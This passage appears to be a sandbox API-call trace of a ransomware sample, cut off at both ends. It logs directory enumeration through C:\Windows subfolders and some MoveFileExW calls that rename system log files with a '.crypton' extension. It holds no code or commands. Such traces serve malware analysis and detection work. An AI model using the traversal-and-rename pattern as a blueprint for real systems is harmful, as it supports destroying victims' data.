lpFileName="C:\\\\Windows\\Boot\\PCAT\\sv-SE\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe2eef1e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe2eef1e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe2eef1e, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.386] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\tr-TR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.386] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\zh-CN\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.387] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\zh-HK\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.387] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Boot\\PCAT\\zh-TW\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe36132c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe36132c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.433] MoveFileExW (lpExistingFileName="C:\\\\Windows\\bootstat.dat" (normalized: "c:\\windows\\bootstat.dat"), lpNewFileName="C:\\\\Windows\\bootstat.dat.crypton" (normalized: "c:\\windows\\bootstat.dat.crypton"), dwFlags=0x2) returned 1 [0252.440] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Branding\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x13d355c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13d355c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.446] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Branding\\Basebrd\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x13d355c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13d355c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.451] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Branding\\Basebrd\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x13d5b720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13d5b720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.457] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Branding\\ShellBrd\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x13d5b720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13d5b720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.463] FindFirstFileA (in: lpFileName="C:\\\\Windows\\CSC\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x13d5b720, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13d5b720, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.463] FindFirstFileA (in: lpFileName="C:\\\\Windows\\CSC\\v2.0.6\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf79f8344, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xf79f8344, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xeba99880, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x185e00, dwReserved0=0x0, dwReserved1=0x3, cFileName="shellbrd.dll", cAlternateFileName="\x14ÁJ")) returned 0xffffffff [0252.467] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Cursors\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x13d81880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13d81880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.476] FindFirstFileA (in: lpFileName="C:\\\\Windows\\debug\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x13d81880, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13d81880, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.476] MoveFileExW (lpExistingFileName="C:\\\\Windows\\debug\\PASSWD.LOG" (normalized: "c:\\windows\\debug\\passwd.log"), lpNewFileName="C:\\\\Windows\\debug\\PASSWD.LOG.crypton" (normalized: "c:\\windows\\debug\\passwd.log.crypton"), dwFlags=0x2) returned 0 [0252.477] GetLastError () returned 0x20 [0252.477] GetLastError () returned 0x20 [0252.478] MoveFileExW (lpExistingFileName="C:\\\\Windows\\debug\\sammui.log" (normalized: "c:\\windows\\debug\\sammui.log"), lpNewFileName="C:\\\\Windows\\debug\\sammui.log.crypton" (normalized: "c:\\windows\\debug\\sammui.log.crypton"), dwFlags=0x2) returned 1 [0252.487] FindFirstFileA (in: lpFileName="C:\\\\Windows\\debug\\WIA\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x790180a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x13da79e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x13da79e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.490] MoveFileExW (lpExistingFileName="C:\\\\Windows\\debug\\WIA\\wiatrace.log" (normalized: "c:\\windows\\debug\\wia\\wiatrace.log"), lpNewFileName="C:\\\\Windows\\debug\\WIA\\wiatrace.log.crypton" (normalized: "c:\\windows\\debug\\wia\\wiatrace.log.crypton"), dwFlags=0x2) returned 1 [0252.492] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549710 [0252.502] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\index\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80c9ffc7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80c9ffc7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.516] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\scheduled\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.525] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\scheduled\\Maintenance\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.527] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\scheduled\\Maintenance\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23815cbe, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.541] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0252.552] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\AERO\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.556] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\AERO\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23bd00cf, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.573] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Audio\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.577] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Audio\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23862230, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.593] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Device\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.596] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Device\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x234355f4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.610] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\DeviceCenter\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.622] GetLastError () returned 0x5 [0252.622] GetLastError () returned 0x5 [0252.623] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0252.625] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\DeviceCenter\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22ed73f0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.636] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\HomeGroup\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.639] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\HomeGroup\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x237c974c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.652] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\IEBrowseWeb\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.669] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\IEBrowseWeb\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x238ae7a2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.685] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\IESecurity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.687] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\IESecurity\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.700] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Networking\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.703] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Networking\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.728] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\PCW\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.729] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\PCW\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2383bf77, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.741] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Performance\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e44a29c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.744] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Performance\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22efd6a9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.759] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Power\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e470555, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549790 [0252.770] FindFirstFileA (in: lpFileName="C:\\\\Windows\\diagnostics\\system\\Power\\en-US\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e470555, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x230a149c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e470555, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x180, dwReserved1=0x301, cFileName=".", cAlternateFileName="")) returned 0x549810 [0252.788] FindFirstFileA (in: 